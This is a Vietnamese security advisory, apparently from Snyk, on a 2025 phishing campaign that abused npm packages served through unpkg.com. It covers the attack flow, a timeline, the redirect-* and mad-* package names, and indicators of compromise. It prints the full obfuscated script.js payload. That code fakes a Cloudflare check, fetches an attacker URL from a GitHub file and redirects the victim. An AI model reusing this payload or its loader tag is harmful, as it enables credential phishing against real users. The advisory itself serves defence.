SUPPLY CHAIN SECURITY
Phishing Campaign
Leveraging the NPM Ecosystem
Vào tháng 10 năm 2025, các nhà nghiên cứu đã phát hiện một chiến dịch phishing (tấn công giả mạo) sử dụng hệ sinh thái npm làm vũ khí. Nhưng lần này, mục tiêu không phải là lây nhiễm cho các developer tại thời điểm cài đặt package, mà là để lưu trữ và phát tán các script phishing thông qua CDN đáng tin cậy unpkg.com.
Các tác nhân đe dọa đã gieo rắc hơn 175+ package dùng một lần để lưu trữ tạm thời cho các file JavaScript. Các file này tự động chuyển hướng nạn nhân đến các trang web thu thập thông tin đăng nhập khi họ mở các "tài liệu kinh doanh" HTML được chế tạo tinh vi. Theo Socket, đơn vị đầu tiên chia sẻ tin tức và cung cấp dữ liệu ban đầu, mục tiêu trong cuộc tấn công này bao gồm hơn 135+ tổ chức (công nghiệp, công nghệ và năng lượng, chủ yếu ở Châu Âu). Sau khi thông tin được tiết lộ, Snyk đã tiếp tục phân tích và xác định một cụm package riêng biệt sử dụng tên mad-x.x.x.x.x.x (trong đó x là một số ngẫu nhiên), có vẻ liên quan hoặc là một thử nghiệm sao chép với cơ sở hạ tầng và ý định tương tự.
Không giống như chiến thuật quen thuộc là tải lên các package độc hại để xâm phạm developer trong quá trình npm install, chiến dịch này đi theo một con đường khác. Thay vì lây nhiễm cho người dùng qua dòng lệnh, những kẻ tấn công lợi dụng đường dẫn phân phối qua trình duyệt thông qua unpkg, biến cơ sở hạ tầng lưu trữ open source hợp pháp thành một cơ chế phishing. Đây là một dấu hiệu rõ ràng cho thấy các tác nhân đe dọa đang khám phá các phương pháp vượt ra ngoài các khai thác dựa trên package thông thường và đang tích cực tìm kiếm những cách mới để vũ khí hóa chính hệ sinh thái mã nguồn mở.
Diễn biến cuộc tấn công chuỗi cung ứng này
-
➤
Đăng tải package hàng loạt: Kẻ xấu tự động hóa việc tạo ra nhiều package npm (với mẫu tên
redirect-[a-z0-9]{6}) với nội dung tối thiểu: filebeamglea.jsvà các file HTML mồi nhử. -
➤
Tự động có sẵn trên CDN: Ngay khi một phiên bản package được công khai, tài nguyên CDN phổ biến tại
unpkg.comcó thể được tham chiếu trong thẻ<script>để sử dụng các package độc hại đó. -
➤
Phân phối Phishing: Nạn nhân nhận được các file HTML tùy chỉnh (thường giả dạng hóa đơn và các tài liệu khác). Mở chúng sẽ kích hoạt việc tải script từ
unpkg. -
➤
Thu thập thông tin đăng nhập: Script ngay lập tức chuyển hướng đến trang của kẻ tấn công và chuyển email của nạn nhân qua URL fragment, giúp form phishing được điền sẵn. Điều này tạo ra một tín hiệu tin cậy hiệu quả và tránh bị ghi lại trong server log.
Dòng thời gian (Timeline)
Dòng thời gian được biết đến cho đến nay của sự cố đang diễn ra này như sau:
- 24/09/2025: Các dấu vết ban đầu của cơ sở hạ tầng được báo cáo công khai.
- 09/10/2025: Socket công bố nghiên cứu chi tiết về 175 package, codename “Beamglea”, quy tắc đặt tên
redirect-*, và hơn 135 tổ chức bị ảnh hưởng. - 10/10/2025: Phân tích nội bộ của Snyk ghi nhận các package bổ sung không được Socket liệt kê, sử dụng sơ đồ đặt tên
mad-*(những package này vẫn đang được điều tra; việc quy kết và liên kết với cùng một tác nhân vẫn chưa có kết luận cuối cùng).
Các thành phần bị ảnh hưởng
Đối tượng chính: Bất kỳ người dùng nào mở một trong các file HTML mồi nhử của chiến dịch trong trình duyệt, sau đó tải script từ unpkg.com. Phân khúc nạn nhân là nhân viên doanh nghiệp chứ không phải developer.
Danh sách package:
- Họ package
redirect-*(khoảng 175 package) hoạt động như host CDN chobeamglea.jsvà các file HTML. - Bộ package bổ sung do Snyk gắn cờ (không có trong bài đăng của Socket) với tên
mad-*, bao gồm:mad-1.0.0.2.2.8, mad-1.2.9.2.2.8, mad-2.4.0.2.2.8, mad-1.4.1.2.2.8, mad-2.0.0.2.2.8, mad-4.0.1.2.2.8, mad-3.0.1.2.2.8, mad-2.0.2.2.2.8, mad-10.1.1.2.2.8, mad-1.4.2.2.2.8, mad-2.4.1.2.2.8, mad-1.4.0.2.2.8, mad-10.2.1.2.2.8, mad-2.0.1.2.2.8, mad-3.0.0.2.2.8, mad-5.0.0.2.2.8, mad-3.0.2.2.2.8, mad-4.0.0.2.2.8, mad-5.0.1.2.2.8, mad-6.0.0.2.2.8
Phân tích package mad-*
Package này chứa một trang "Cloudflare Security Check" giả mạo, ngầm chuyển hướng người dùng đến một URL do kẻ tấn công kiểm soát được lấy từ một file lưu trữ trên GitHub. Nó bao gồm logic chống phân tích phổ biến, chặn các phím tắt kiểm tra và cố gắng chuyển hướng cửa sổ chính (frame-busting) sau khi một checkbox xác minh giả được nhấp vào.
Payload độc hại
Để tham khảo đây là toàn bộ mã script.js đã được làm rối. Payload này được tải thông qua script sau trên trang: <script src="https://unpkg.com/mad-4.0.0.2.2.8.@3.0.1/script.js" defer></script>.
function _0xab84(_0x5df706, _0x320379) { const _0x12f2bf = _0x12f2(); return _0xab84 = function (_0xab8422, _0x3659f3) { _0xab8422 = _0xab8422 - 0x16e; let _0x376c45 = _0x12f2bf[_0xab8422]; return _0x376c45; }, _0xab84(_0x5df706, _0x320379); }
const _0x454c0a = _0xab84;function _0x12f2() { const _0x199a32 = ['4898145oELnlc', '10LcRtZV', 'then', '15289353dnZbJp', 'addEventListener', '2564739cAzVxA', 'trim', '.checkbox-container', '[redirect] raw text length:', 'style', 'https://raw.githubusercontent.com/Abassdos2992/truboebvitalya/refs/heads/main/mad4.txt', 'status', 'length', 'loadingSpinner', '1796076dMFIfM', '88NkGily', '<p>Success!</p>', '[redirect] fetching URL from', 'location', 'checked', 'GET', 'random', 'href', '4qxNEbE', 'error', '.verification-box', 'none', '[redirect] window.top assignment failed:', '[redirect] fetch status:', '[redirect] fetch failed:', 'innerHTML', '[redirect] unexpected error:', '[redirect] invalid URL format:', '[redirect] empty URL received from GitHub file', 'info', 'DOMContentLoaded', 'display', 'botCheck', '3226570QdFfpZ', '[redirect] redirecting to:', 'getElementById', 'change', '4bDCpQe', 'querySelector', '15100920Pnmwdh', 'top', 'no-store', 'block', '6VLioyL', 'test', '937826VuaTzv']; _0x12f2 = function () { return _0x199a32; }; return _0x12f2(); }
(function (_0x5ee12f, _0x463d21) { const _0xe50adb = _0xab84, _0x418764 = _0x5ee12f(); while (!![]) { try { const _0x33be1a = parseInt(_0xe50adb(0x19c)) / 0x1 * (parseInt(_0xe50adb(0x184)) / 0x2) + -parseInt(_0xe50adb(0x18a)) / 0x3 * (parseInt(_0xe50adb(0x17c)) / 0x4) + parseInt(_0xe50adb(0x178)) / 0x5 + -parseInt(_0xe50adb(0x182)) / 0x6 * (-parseInt(_0xe50adb(0x185)) / 0x7) + -parseInt(_0xe50adb(0x17e)) / 0x8 + parseInt(_0xe50adb(0x188)) / 0x9 * (parseInt(_0xe50adb(0x186)) / 0xa) + parseInt(_0xe50adb(0x194)) / 0xb * (-parseInt(_0xe50adb(0x193)) / 0xc); if (_0x33be1a === _0x463d21) break; else _0x418764['push'](_0x418764['shift']()); } catch (_0xab8496) { _0x418764['push'](_0x418764['shift']()); } } }(_0x12f2, 0xef296), document[_0x454c0a(0x189)](_0x454c0a(0x175), function () { const _0xa859eb = _0x454c0a, _0x4ef0d2 = document[_0xa859eb(0x17a)](_0xa859eb(0x177)), _0x224de6 = document['querySelector'](_0xa859eb(0x19e)), _0x441ce0 = document['getElementById'](_0xa859eb(0x192)), _0xd10573 = document[_0xa859eb(0x17d)](_0xa859eb(0x18c)), _0x10848a = _0xa859eb(0x18f), _0x569cab = _0x10848a; _0x4ef0d2['addEventListener'](_0xa859eb(0x17b), function () { const _0x491ce3 = _0xa859eb; if (!this[_0x491ce3(0x198)]) return; try { _0x184285(), setTimeout(() => { _0x405f84(), setTimeout(() => { const _0x89d3d3 = _0xab84; console[_0x89d3d3(0x174)](_0x89d3d3(0x196), _0x569cab), fetch(_0x569cab, { 'method': _0x89d3d3(0x199), 'cache': _0x89d3d3(0x180) })[_0x89d3d3(0x187)](_0xb053b6 => { const _0x42dda6 = _0x89d3d3; return console[_0x42dda6(0x174)](_0x42dda6(0x16e), _0xb053b6[_0x42dda6(0x190)], _0xb053b6['statusText']), _0xb053b6['text']()[_0x42dda6(0x187)](_0x239cb7 => ({ 'status': _0xb053b6[_0x42dda6(0x190)], 'text': _0x239cb7 })); })[_0x89d3d3(0x187)](({ status: _0x48490, text: _0x54a6fa }) => { const _0x4408f0 = _0x89d3d3, _0x4cfb55 = (_0x54a6fa || '')[_0x4408f0(0x18b)](); console[_0x4408f0(0x174)](_0x4408f0(0x18d), (_0x54a6fa || '')[_0x4408f0(0x191)]); if (!_0x4cfb55) { console[_0x4408f0(0x19d)](_0x4408f0(0x173)); return; } if (!/^https?:\/\//i [_0x4408f0(0x183)](_0x4cfb55)) { console['error'](_0x4408f0(0x172), _0x4cfb55); return; } console[_0x4408f0(0x174)](_0x4408f0(0x179), _0x4cfb55); try { window[_0x4408f0(0x17f)][_0x4408f0(0x197)][_0x4408f0(0x19b)] = _0x4cfb55; return; } catch (_0x86bd20) { console['warn'](_0x4408f0(0x1a0), _0x86bd20); } try { window[_0x4408f0(0x197)][_0x4408f0(0x19b)] = _0x4cfb55; } catch (_0x255bd0) { console[_0x4408f0(0x19d)]('[redirect] window.location assignment failed:', _0x255bd0); } })['catch'](_0x5a4cd6 => { const _0xb0c328 = _0x89d3d3; console[_0xb0c328(0x19d)](_0xb0c328(0x16f), _0x5a4cd6); }); }, 0x3e8); }, 0x7d0 + Math[_0x491ce3(0x19a)]() * 0x3e8); } catch (_0x96207c) { console[_0x491ce3(0x19d)](_0x491ce3(0x171), _0x96207c); } }); function _0x184285() { const _0x5471f3 = _0xa859eb; if (_0xd10573) _0xd10573['style']['display'] = _0x5471f3(0x19f); if (_0x441ce0) _0x441ce0[_0x5471f3(0x18e)]['display'] = _0x5471f3(0x181); } function _0x405f84() { const _0x197e4e = _0xa859eb; if (_0x441ce0) _0x441ce0['style'][_0x197e4e(0x176)] = 'none'; if (_0x224de6) _0x224de6[_0x197e4e(0x170)] = _0x197e4e(0x195); } }));
FAQs - Các chỉ số xâm phạm (IOC)
Dấu hiệu nhận biết cuộc tấn công này là gì?
Dấu vết file/nội dung (trên endpoint hoặc email gateway):
- File HTML chứa thẻ
<script src="https://unpkg.com/redirect-<6-char-suffix>@<semver>/beamglea.js">. - Thẻ meta HTML được thấy trên các mồi nhử:
name="html-meta" content="nb830r6x".
Dấu vết mạng:
- Yêu cầu outbound từ endpoint của người dùng đến
unpkg.comngay sau đó là điều hướng đến các tên miền đáng ngờ nhưcfn.jackpotmastersdanske[.]com.
Các thành phần open source nào liên quan đến cuộc tấn công này?
- npm registry: được sử dụng như một nơi lưu trữ miễn phí, có uy tín bằng cách xuất bản nhiều package giá trị thấp (ví dụ:
redirect-<random>). - unpkg.com CDN: tự động phục vụ bất kỳ package npm công khai nào qua HTTPS, mà kẻ tấn công tận dụng để tải
beamglea.jstrực tiếp trong trình duyệt của nạn nhân. - HTML mồi nhử: các tài liệu trông vô hại, khi được mở, sẽ kéo script từ CDN và gửi người dùng đến các cổng đăng nhập giả mạo với trường email được điền sẵn.